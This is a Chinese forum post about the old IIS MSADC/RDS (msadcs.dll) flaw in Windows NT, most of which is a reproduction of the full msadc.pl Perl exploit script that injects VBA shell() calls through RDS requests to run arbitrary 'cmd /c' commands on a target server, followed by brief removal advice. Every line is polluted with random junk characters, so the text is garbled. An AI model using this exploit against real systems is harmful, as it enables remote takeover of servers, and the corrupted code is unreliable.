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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) SFa~j)9'n  
UU]a).rz  
涉及程序: +[$ Q C*  
Microsoft NT server nL&[R}@W  
f;%\4TH?  
描述: DsF<P@O6  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ffS]%qa  
Y'2 |GJc2  
详细: ;TG<$4N  
如果你没有时间读详细内容的话,就删除: yX|0 R H  
c:\Program Files\Common Files\System\Msadc\msadcs.dll +(J{~A~  
有关的安全问题就没有了。 SHP_  
($Ck5`_MK  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 H6]z98  
+umVl  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 by0M(h  
关于利用ODBC远程漏洞的描述,请参看: [f\TnXq24  
D]$X@2A  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,.&y-?  
jsnk*>j  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 haIH `S Y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1A-ess\  
[5TGCGxP{  
这里不再论述。 TClgywL  
FTC,{$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: G,JNUok  
e-e*%  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset k\wI^D  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @EzO bE{  
*S=zJyAO  
O #S27.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" #&ZwQw  
$oU40HA)W]  
#!perl {9*k \d/;  
# @`Foy  
# MSADC/RDS 'usage' (aka exploit) script ]-G10p}Ph-  
# !L_\6;aP,x  
# by rain.forest.puppy %(y0,?*  
# bClMM  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;33LuD<h.  
# beta test and find errors! Q,z^eMk'd:  
>@9>bI+Q  
use Socket; use Getopt::Std; 0NMekVi  
getopts("e:vd:h:XR", \%args); 6Cd% @Q2cr  
S,~DA3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; RkuPMs Hw;  
h#!u"'JW  
if (!defined $args{h} && !defined $args{R}) { E;Sb e9]   
print qq~ l d4#jV ei  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -<Zs7(  
-h <host> = host you want to scan (ip or domain) S8$kxQg  
-d <seconds> = delay between calls, default 1 second NRgNW1#  
-X = dump Index Server path table, if available pv #uLo  
-v = verbose }tRY,f  
-e = external dictionary file for step 5 S.X*)CBB  
WGeTL`}dh  
Or a -R will resume a command session bI?YNt,  
4tv}V:EO  
~; exit;} vkQkU,q  
c3$h-M(jVJ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; V"{+cPBO)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} uNSbAw3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,3tcti~sZ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); A$]&j5nh|  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} \$] V#@F  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,Bg)p_B  
o<r|YRzQl  
if (!defined $args{R}){ $ret = &has_msadc; PtT=HvP!k  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} g1s\6%g  
*.]M1  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Dtw1q-  
. "cmd /c "; >uN)O-  
$in=<STDIN>; chomp $in; rG*Zp7{  
$command="cmd /c " . $in ; >u:t2DxE  
mgxoM|n6  
if (defined $args{R}) {&load; exit;} ufekhj  
&58+-jzW  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; z]Dbca1a`  
&try_btcustmr; tuF hPqe {  
%@jL? u  
print "\nStep 2: Trying to make our own DSN..."; `Z:5E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <cn{S`  
v9qgfdBS5  
print "\nStep 3: Trying known DSNs..."; @GpM 4>:  
&known_dsn; dE[nPtstb  
s;'j n_,0  
print "\nStep 4: Trying known .mdbs..."; |_^A$Hv  
&known_mdb; ] _WB^  
_z$lg]q  
if (defined $args{e}){ cnR.J  
print "\nStep 5: Trying dictionary of DSN names..."; B8'e,9   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } "5,tEP!  
`Y~EL?  
print "Sorry Charley...maybe next time?\n"; <[e E5X(  
exit; RS>;$O_(M  
v0yaFP#kG  
############################################################################## Uz`K#Bz   
NBUSr}8|  
sub sendraw { # ripped and modded from whisker _*I@ J/  
sleep($delay); # it's a DoS on the server! At least on mine... Gw5j6  
my ($pstr)=@_; _*SA_.0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ymxYE#q  
die("Socket problems\n"); m.}Yn,  
if(connect(S,pack "SnA4x8",2,80,$target)){ (\UA+3$4  
select(S); $|=1; YGj3W.eH  
print $pstr; my @in=<S>; ^/<0r] =  
select(STDOUT); close(S); 3k J8Wn  
return @in; dDAI fe2y  
} else { die("Can't connect...\n"); }} _ xAL0 (  
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############################################################################## K38A;=t9  
T7!"gJ  
sub make_header { # make the HTTP request vIi#M0@N  
my $msadc=<<EOT ]}~[2k.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H~IN<3ko  
User-Agent: ACTIVEDATA I-QaR  
Host: $ip .9<  i  
Content-Length: $clen &F*L=Ng  
Connection: Keep-Alive LXIQpD,M  
cnUYhxE+s  
ADCClientVersion:01.06 %$)[qa3  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 FM)Es&p&  
-Tw96 dv  
--!ADM!ROX!YOUR!WORLD! pt rQ~m-  
Content-Type: application/x-varg TfYXF`d  
Content-Length: $reqlen K9#=@}!3L  
]+SVQ|v0  
EOT <9]9;   
; $msadc=~s/\n/\r\n/g; 8KQ]3Z9p  
return $msadc;} >0W:snNK  
o<hT/ P  
############################################################################## u7oHqo`  
{p{TG5rwX  
sub make_req { # make the RDS request G8y:f%I!b  
my ($switch, $p1, $p2)=@_; QeK@ ++EVc  
my $req=""; my $t1, $t2, $query, $dsn; 1q])"l"<  
cZ@z]LY.g  
if ($switch==1){ # this is the btcustmr.mdb query Yy$GfjJtL]  
$query="Select * from Customers where City=" . make_shell(); Vd-\_VP20  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . b#:Pl`n6u  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} }E\ b_.  
dA`.  
elsif ($switch==2){ # this is general make table query D]H@Sx  
$query="create table AZZ (B int, C varchar(10))"; :3z`+5Y*  
$dsn="$p1";} ~JJuM  
GvL)SVv?  
elsif ($switch==3){ # this is general exploit table query cH&-/|N  
$query="select * from AZZ where C=" . make_shell(); t4a/\{/#9|  
$dsn="$p1";} #+v Iq?  
oA^aT:o +  
elsif ($switch==4){ # attempt to hork file info from index server SIBNU3;DL  
$query="select path from scope()"; `kn 'RZR  
$dsn="Provider=MSIDXS;";} oJcDs-!  
(~R[K,G  
elsif ($switch==5){ # bad query s)=fs#%  
$query="select"; x:h0/f  
$dsn="$p1";} D5wy7`c  
[7Yfv Xp  
$t1= make_unicode($query); ;^9Ao>(?y  
$t2= make_unicode($dsn); CnJrJ>l  
$req = "\x02\x00\x03\x00"; t8Sblgq  
$req.= "\x08\x00" . pack ("S1", length($t1)); {Lex((  
$req.= "\x00\x00" . $t1 ; mG? g  
$req.= "\x08\x00" . pack ("S1", length($t2)); w"Q6'/P  
$req.= "\x00\x00" . $t2 ; 3HU_ ~%l  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; vPm&0,R*y:  
return $req;} +bG^SH2ke  
s~@4  
############################################################################## q K sI}X~  
\GL!x 7s1A  
sub make_shell { # this makes the shell() statement ;b(*Bh<  
return "'|shell(\"$command\")|'";} l (EDe  
vo9DmW  
############################################################################## %_rdO(   
3fS+,>s\O  
sub make_unicode { # quick little function to convert to unicode gEVN;G'B<=  
my ($in)=@_; my $out; ZfPWH'P  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } U>bmCK2  
return $out;} )575JY `6K  
i@=0fHiZQ  
############################################################################## i`]-rM%J#  
y;)j  
sub rdo_success { # checks for RDO return success (this is kludge) CCCd=s.  
my (@in) = @_; my $base=content_start(@in); W 6_~.m"b  
if($in[$base]=~/multipart\/mixed/){ Xknp*(9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <5 R`E(  
return 0;} rOt`5_2f  
Y:GSjq  
############################################################################## VJK?"mX  
:^c ' P<HM  
sub make_dsn { # this makes a DSN for us }@kD&2  
my @drives=("c","d","e","f"); FKTdQg|NZ  
print "\nMaking DSN: "; 1:7 uS.  
foreach $drive (@drives) { +d7sy0  
print "$drive: "; PSOW}Y|q  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . SLzxF uV  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 8 JOfx  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); tE i-0J  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; E?{{z4  
return 0 if $2 eq "404"; # not found/doesn't exist -^C't_Q o  
if($2 eq "200") { 6TN!63{Cz  
foreach $line (@results) { OLThi[Yn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |v,5s=} 7  
} return 0;} O5:?nD  
5 pJ)OX  
############################################################################## ::k>V\;  
ra="4T$va  
sub verify_exists { WE_jT1^/  
my ($page)=@_; DB1GW,  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0q|.]:][Eo  
return $results[0];} >/*wlY!E  
BoJYP  
############################################################################## AqPE.mf  
T7vSp<i/  
sub try_btcustmr { YL(7l|^!  
my @drives=("c","d","e","f"); |T!^&t  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 9ANC,+0p  
r-27AJu  
foreach $dir (@dirs) { LaI(  
print "$dir -> "; # fun status so you can see progress Pm2T!0  
foreach $drive (@drives) { Y<~N x~w{  
print "$drive: "; # ditto X6+2~'*t  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4 1w*<{Lk  
$reqlenlen=length( "$reqlen" ); r:[N#*kK  
$clen= 206 + $reqlenlen + $reqlen; Gi7jgv{{  
9ghZL Q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 3~zK :(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ~]+-<O^U~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} }LXS!Ff:  
]:lqbg[J  
############################################################################## 1`t4wD$/  
']nB_x7  
sub odbc_error { [@SLt$9"  
my (@in)=@_; my $base; ]zGgx07d  
my $base = content_start(@in); ")J\} $r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ix+===6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y^zL}@  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8vzjPWu  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eY3l^Su1  
return $in[$base+4].$in[$base+5].$in[$base+6];} d>ltL`xn  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1!u}~E_   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ',?9\xEB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Q o}&2m  
(C< ~:Y?%  
############################################################################## aE[>^~Lv}  
z93HTy9  
sub verbose { 5gZEcJ  
my ($in)=@_; 68m (%%E@  
return if !$verbose; O]ZP- WG  
print STDOUT "\n$in\n";} ' 0iXx   
|K},f,  
############################################################################## W$&kOdD!$  
Au+SCj  
sub save { v3b[08 F  
my ($p1, $p2, $p3, $p4)=@_; 6pkZ8Vp:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ]Lc:M'V#  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ]ne&`uO  
close OUT;} mL\j^q,Y  
adHZX  
############################################################################## OBGA~E;%  
3t  
sub load { E,6(/`0H*  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; >Ab>"!/'K  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Yg 8AMi  
@p=<IN>; close(IN); 2ckAJcpEb/  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); d/Q}I[J.u  
$target= inet_aton($ip) || die("inet_aton problems"); J(BtGGU'  
print "Resuming to $ip ..."; 19 h7 M  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; !PN;XZ~{  
if($p[1]==1) { *?/9lAm  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; V^ O dTM  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; owClnp9K  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j, SOL9yg  
if (rdo_success(@results)){print "Success!\n";} (kpn"]^'  
else { print "failed\n"; verbose(odbc_error(@results));}} =bJj;bc'5  
elsif ($p[1]==3){ g~ tG  
if(run_query("$p[3]")){ u{0'" jVJ  
print "Success!\n";} else { print "failed\n"; }} h kzy I~7  
elsif ($p[1]==4){ >KjyxJ7  
if(run_query($drvst . "$p[3]")){ % K$om|]p  
print "Success!\n"; } else { print "failed\n"; }} uzf@49m]m  
exit;} g8 (zvG;Y  
-4P2 2  
############################################################################## _pu G?p  
L2s)B  
sub create_table { }}a<!L,{  
my ($in)=@_; <8U qV.&  
$reqlen=length( make_req(2,$in,"") ) - 28; VGbuEC[Y  
$reqlenlen=length( "$reqlen" ); _ Je k;N  
$clen= 206 + $reqlenlen + $reqlen; ;p~&G"-C`  
my @results=sendraw(make_header() . make_req(2,$in,"")); nSH A,c  
return 1 if rdo_success(@results); [al,UO  
my $temp= odbc_error(@results); verbose($temp); pfj%AP:  
return 1 if $temp=~/Table 'AZZ' already exists/; d*%-r2K  
return 0;} F$ kLft[:  
TGnyN'P|  
############################################################################## #q{i<E 07  
Dp:u!tdbeg  
sub known_dsn { auOYi<<>W  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go GO@pwq<  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", l~.}#$P]  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", x`'2oz=,F4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); pWo`iM& F  
j%%l$i~  
foreach $dSn (@dsns) { 3L24|-GxH  
print "."; b .9]b  
next if (!is_access("DSN=$dSn")); JTcK\t8  
if(create_table("DSN=$dSn")){ yVe<[!hJ  
print "$dSn successful\n"; QcyYTg4i  
if(run_query("DSN=$dSn")){ xk}(u`:.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S>~QuCMY  
print "Something's borked. Use verbose next time\n";}}} print "\n";} /yHM =&Vg]  
lQs|B '  
############################################################################## bP;cDQ(g  
vkmTd4g  
sub is_access { .lMIJN&/  
my ($in)=@_; V1R=`  
$reqlen=length( make_req(5,$in,"") ) - 28; . e2qa  
$reqlenlen=length( "$reqlen" ); ien >Ou  
$clen= 206 + $reqlenlen + $reqlen; @:$zReS2  
my @results=sendraw(make_header() . make_req(5,$in,"")); o'.6gZ gk  
my $temp= odbc_error(@results); *&X.  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); #4h_(Y  
return 0;} 8+Lig  
5TlPs_o  
############################################################################## WeGT}  
L]{ 1"`#  
sub run_query { A8JEig 3Ix  
my ($in)=@_; Zmf\A  
$reqlen=length( make_req(3,$in,"") ) - 28; 6[BQx)7T  
$reqlenlen=length( "$reqlen" ); `Q!|/B  
$clen= 206 + $reqlenlen + $reqlen; |;q*Zy(  
my @results=sendraw(make_header() . make_req(3,$in,"")); 4]$cf:  
return 1 if rdo_success(@results); .+XGbs]kCi  
my $temp= odbc_error(@results); verbose($temp); <Sn5ME<*  
return 0;} azMrY<  
}G$rr.G  
############################################################################## zGFo -C  
}a@ZFk_>  
sub known_mdb { ZOl =zn  
my @drives=("c","d","e","f","g"); 9OB[ig  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2#Fc4RR;  
my $dir, $drive, $mdb; Ij>x3L\-  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; >j1\]uo  
jRXpEiM  
# this is sparse, because I don't know of many L|G!of[8n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", kzCD>m  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |Ia3bV W  
"\\system32\\certmdb.mdb", X<s']C9c  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 2-821Sf#h  
\(_FGa4j  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", w5"C<5^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @YyTXg{ZK  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", B\&;eZY'G  
"\\cfusion\\cfapps\\security\\realm_.mdb", ~:ddTv?F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Sc "J5^  
"\\cfusion\\database\\cfexamples.mdb", S5ka;g  
"\\cfusion\\database\\cfsnippets.mdb", Xz5 aTJ&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 8XwAKN:f  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", uV<I!jyI  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Xui${UYN  
"\\cfusion\\database\\smpolicy.mdb", gkS#=bv9e@  
"\\cfusion\\database\cypress.mdb", | ]`gps  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", U6qv8*~  
"\\website\\cgi-win\\dbsample.mdb", uAT01ZEm  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,)A^3Q*  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" jh.W$.Oq  
); #these are just juuBLv  
foreach $drive (@drives) { JDVMq=ui  
foreach $dir (@dirs){ "H>L!v  
foreach $mdb (@sysmdbs) { q4vu r>m6  
print "."; }x4,a6^  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ oo7&.HWf  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; XJnDx 09h  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 2A@9jl s  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; '2=u<a B  
} else { print "Something's borked. Use verbose next time\n"; }}}}} O4FW/)gq  
' >> IMF  
foreach $drive (@drives) { %7BVJJp2  
foreach $mdb (@mdbs) { QZk:G+ $  
print "."; v=?U{{xQ  
if(create_table($drv . $drive . $dir . $mdb)){ MjC;)z  
print "\n" . $drive . $dir . $mdb . " successful\n"; Ky`rf}cI>  
if(run_query($drv . $drive . $dir . $mdb)){ +=%13cA*U  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -CW&!oW  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^z3-$98=A  
} Ltpd:c  
C,C%1  
############################################################################## B+|E|8"  
p8y_uN QE  
sub hork_idx { /zn|?Y[  
print "\nAttempting to dump Index Server tables...\n"; PPT"?lt*&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; eSXt"t  
$reqlen=length( make_req(4,"","") ) - 28; I ,Q"<? &  
$reqlenlen=length( "$reqlen" ); >L/Rf8j&  
$clen= 206 + $reqlenlen + $reqlen; !o &+  
my @results=sendraw2(make_header() . make_req(4,"","")); k%#`{#n i  
if (rdo_success(@results)){ VtF^; f  
my $max=@results; my $c; my %d; xbrxh-gV  
for($c=19; $c<$max; $c++){ Ay<'Z6`  
$results[$c]=~s/\x00//g; m` cw:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; dz.]5R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; iC&=-$vu  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; HTI1eLZ2  
$d{"$1$2"}="";} .z+?b8Q\  
foreach $c (keys %d){ print "$c\n"; } 1&c>v3 $2  
} else {print "Index server doesn't seem to be installed.\n"; }} 8Q^yh6z  
}[Uh4k8P  
############################################################################## CFqoD l  
-yeQQ4b  
sub dsn_dict { <5/r  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); OlhfBu)~  
while(<IN>){ PRl\W:_t  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +O3zeL  
next if (!is_access("DSN=$dSn")); joDnjz=  
if(create_table("DSN=$dSn")){ 6cSMKbgZJ  
print "$dSn successful\n"; zfL$z,zgf  
if(run_query("DSN=$dSn")){ (,Yb]/O*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ws tI8">  
print "Something's borked. Use verbose next time\n";}}} I#@iA!  
print "\n"; close(IN);} #(h~l> r  
noe1*2*TE  
############################################################################## 0"o<( 1  
H ~1laV  
sub sendraw2 { # ripped and modded from whisker >b,o yM  
sleep($delay); # it's a DoS on the server! At least on mine... CmRn  
my ($pstr)=@_; &'Qz  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }uWJ  
die("Socket problems\n"); wNDLN`,^H  
if(connect(S,pack "SnA4x8",2,80,$target)){ g^8dDY[%  
print "Connected. Getting data"; ]4\^>  
open(OUT,">raw.out"); my @in; `LH!"M  
select(S); $|=1; print $pstr; JU:!lyd  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} WKX5Dl  
close(OUT); select(STDOUT); close(S); return @in; F1R91V|  
} else { die("Can't connect...\n"); }} 5/DTE:M<  
k);z}`7  
############################################################################## 8,YF>O&  
]R}#3(]1  
sub content_start { # this will take in the server headers Ri4_zb  
my (@in)=@_; my $c; b>E%&sf  
for ($c=1;$c<500;$c++) { VP\HPSp  
if($in[$c] =~/^\x0d\x0a/){ rB?u.jn0T  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } E!Hq%L!/  
else { return $c+1; }}} rMSB|*_  
return -1;} # it should never get here actually xPb;_~  
Km]N scq1  
############################################################################## JWy$` "{  
1O45M/5\o  
sub funky { 2*n2!7jZ*  
my (@in)=@_; my $error=odbc_error(@in); - t4"BD  
if($error=~/ADO could not find the specified provider/){ :q~qRRmjBe  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; "$+naY{w  
exit;} '0X!_w6W  
if($error=~/A Handler is required/){ Ql%7wrK  
print "\nServer has custom handler filters (they most likely are patched)\n"; +@]1!|@(  
exit;} n<8$_?-  
if($error=~/specified Handler has denied Access/){ mLk@&WxG  
print "\nServer has custom handler filters (they most likely are patched)\n"; H#k"[eZ  
exit;}} Ol9U^  
f1=BBQY >  
############################################################################## x `PIJE  
51.F,uY  
sub has_msadc { a\vf{2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); CB_(9T72H  
my $base=content_start(@results); :tdx:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); VbM5]UT/  
return 0;} ]~8bh*,=  
>?'q P ]  
######################## zJI/j _~W  
,.]e~O4R  
Y:^ =jV7  
解决方案: &[*_ -  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll X~0l1 @!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ?*}76u  
*IGxa  
拿出来充数 哈哈
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